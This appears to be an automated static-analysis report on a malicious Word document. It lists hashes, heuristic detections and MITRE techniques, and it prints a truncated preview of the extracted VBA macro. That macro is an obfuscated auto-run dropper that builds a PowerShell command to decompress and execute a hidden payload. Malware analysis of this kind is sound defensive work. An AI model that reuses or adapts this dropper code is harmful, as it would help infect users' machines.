Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1891d61d7065af23…

MALICIOUS

Office (OLE)

267.0 KB Created: 2018-07-11 08:19:00 Authoring application: Microsoft Office Word First seen: 2018-07-27
MD5: 0631f95c9f57f5095d250e84bb817e03 SHA-1: 2333a2eb7bcfb2bf489e2cb421173cf85bef5a92 SHA-256: 1891d61d7065af231efb4cbb473355dd4e838c5f0605ad261392c4061cdca4d4
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The Document_Open macro executes a Shell command, which in turn invokes PowerShell. The PowerShell command is designed to download and execute a second-stage payload from a remote URL. The ClamAV detection and critical heuristic firings confirm the malicious nature of the document.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6607398-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6607398-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 22096 bytes
SHA-256: 370db028825c37b38f656734d557e40aa1d867733f6563d3571b02ca088605a9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "aJLNDFJqNj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   ciIfVo = (51232 / JiGCUX / WqJqz / dbGasc * 62068 - YJpCaw)
   FzSvpw = (1710 / oQunj / YzrBw / AHUqoO * 12980 - ZFskw)
   MraKv = (63430 / FHBinc / XlWNPm / iIijGF * 72190 - tprZHB)
   URzuaw = (76127 / iCZnR / YOGaX / WihVlw * 28971 - Pwbfza)
ilwTFTCASN ("" + anZLLLiMlB + BbHjozDBFdMu + swBbjtEvj + jHKDb + acjDGEQm + EppcOkObE + pIkKEjijwb)
   AYXOjj = (32875 / walHY / LjTov / scGJtt * 41423 - iXuMOJ)
   HdNMqN = (39985 / ImJJZw / PYPHB / LllFjU * 52062 - fDlON)
End Sub


Attribute VB_Name = "rtRzuimivNCBUW"
Function swBbjtEvj()
On Error Resume Next
znjDr = uXwHZp - wUXDo * (18474 + HzccC)
YJtzdv = "p" + wpzozczfWPK + pccqUJNRJd + "owe" + dABLHBqWRZ + lrYwoBod + "rsh" + SUzmiqNLpLj + cwUPNTfGQV + "el" + ckOcHpm + ijLUTzIGjwYRXw + "l" + maJbYBzfhF + ihWzFVtRIuuTXA + " . " + vnFoOIVOcm + hjnNtJXBabMC + "( $" + LrjpDYUaktAR + MHUSuMkcGja + "vER" + fwTaDlfwdhn + MGvtNbZ + "BO" + SHuHpwjlzPqvp + TzjEdiZjj + "s" + djMTwof + LjvwjNsiYtH + "e" + iaQvUTHsaLP + CYjQBPzvFn + "p" + YQprIqldwCmC + MinkUjHKLT + "r"
rsXjZ = PMvDRB + VdLXA - dNjCQI - SUcNE / 42184 + BwsFPc - 98068 / 75919 + 82259 / IQlSz - (5439 - nLhYtK + 79260 / 13564)
   Uujiw = MQXkFI + nqXIt - XBTRfZ - oRHnDw / 78484 + isGpK - 40494 / 48808 + 3638 / Rrfnth - (42980 - vHDDB + 55965 / 8252)
MWFkC = "eFE" + uIjhGTAJ + Sjizzrzou + "r" + jllIrlTdPChEOi + kkMnkkGjLcFDJ + "E" + OALLXwYOh + hNliQTGwPDi + "n" + zfBwPjQT + SECTWtMViHEC + "c" + jLlwLOLjiBMrzb + PMvbSaO + "E." + FDhDKGwnDPDu + XamVBHiw + "tOS" + drrGRfGwlL + icXuPEtM + "tRI" + vEXAjEN + ISLZTOp + "n" + JHIICMwJzG + CXbXvmjRzBj + "g()" + zsSDEfa + CoznCKDWGH + "[1," + GvjCXcGFYHX + FUdGtaR + "3]"
VmZIkY = cucra + ziAhDT - zuQhkz - ZQNjkn / 49469 + zcPri - 83733 / 92919 + 24593 / YcOXuF - (23310 - zPiaW + 84510 / 44877)
   nLhvHm = (33413 / lYRMl - BiVJIj / fLBKn + (rzaks * ADkfz - (pwzIh / KLdhsA)))
QarUOMpBF = Chr(43) + "'" + OIAflTP + KnZHlhQCVs + "X'-" + TWiGzbuJHZCd + vkzOzaWbztVC + "J" + QpfpwRumWYlsUQ + lwGzmjDGvsQs + "oI" + lwBztRuMhjqI + dEFFKMIYwaJ + "n'" + ZuDBCOlnorXX + YPXIiRcdqmKhL + "')" + AboIiUSd + udnoNiiKVjJYR + " (" + KvDRqUDIa + iOVVGlpUk + "n" + ocEbXptDbJIpU + MrUqUNAzz + "EW" + AcXjzviVGaMPw + XLGaZAwsZ + "-OB" + tTbofEH + QfsMNLwSnzbXd + "JE" + orZuoDkzmwCLu + IHOYwrTtNOCiEa + "c" + PNkzofMtljh + KzEzrqUIE + "t" + UzMjmZfXQTmzJS + uUmRKNdCOwi + " " + BVLGmiqTfHMB + wYCuhkOZnSqoH + "SYS" + SouSnOwb + oQJONZQAXh + "tEM"
bZFIjk = KmDwHD + fCUIik / 29747 / JWwKnn - 48077 - BTPjc - (KJbPwA + hiwfa / CUYiz - wPjMVz / lfBfr / QvrKh)
   DzcVc = sPzXWJ + TRiWb / 96289 / LWsTFK - 49978 - ZnjmjH - (zpSmQi + ZQuzBt / hdwjh - hEJQRH / qKnkdF / UtEohN)
wupJUzo = "." + ccrzfNZWn + QCdUbwGRuPVjw + "I" + JSLJqLMS + rOpjiOrXrbQna + "O." + aBsAGwsrT + LdmdDkHh + "cO" + QiQAiIHivWsu + JURQrwWWj + "M" + NlOYjfs + KTcAcnlNXjO + "p" + WUiSrqlLtCsw + tGOrzOPFps + "rE" + DNJzzImfOupOo + URRjDLQsGJpPCS + "Ssi" + pADnYBuCkJk + QACzSvoXJObnVC + "On." + tkNzPzNk + SWOwtbHspJ + "DE" + jWcHjlbzC + trZXLkR + "FLA"
hvdRI = VAjcN + WbAqVH / 37136 / IPUTSV - 14816 - EvIYW - (jotKw + QbTal / XPZjq - wKJSaK / nDBwkT / JArLzK)
jDIrlfWwq = "Tes" + hvthuzru + jaMLRNi + "Tr" + SPfjGzNW + jfSAzbWjc + "e" + LGYinOzpZzOww + CMnjhbThoZNaNk + "a" + GHVGIGETjQhw + jUUDYJttWO + "M( " + jFZnjEiQIr + nwITAQtVSU + "[Sy" + FKLlnNkHPiWzt + cTwLpsvPcBZ + "S" + UWGPMhh + tcvHVJEZJaEkQ + "te" + IDAKujkOUi + cHmMNGkaVQhWl + "M.i" + sznVEVm + jXiJJObd + "o.m" + cSWOrdjbw + dYkjsPjIiX + "EM" + ifqbaQGpEoVhkV + rXunPnDwudRzuU + "orY" + mSsiABFKrCRpD + WikRKdBkqcrhzz + "sT" + jncuRdCvpRkvMV + rhvVJDpPliBFJU + "rEa" + kHhBbHds + bttFXVOwpPEll + "M] "
MJjcwm = JZLFn + UkDCt / 39135 / wWfKfr - 24863 - sGwVBC - (zuPfC + jTuRh / bFMBs - DCpiY / FZrRTM / mJFmIn)
KCrtKzEwYaj = "[sY" + MCktwolYjE 
... (truncated)

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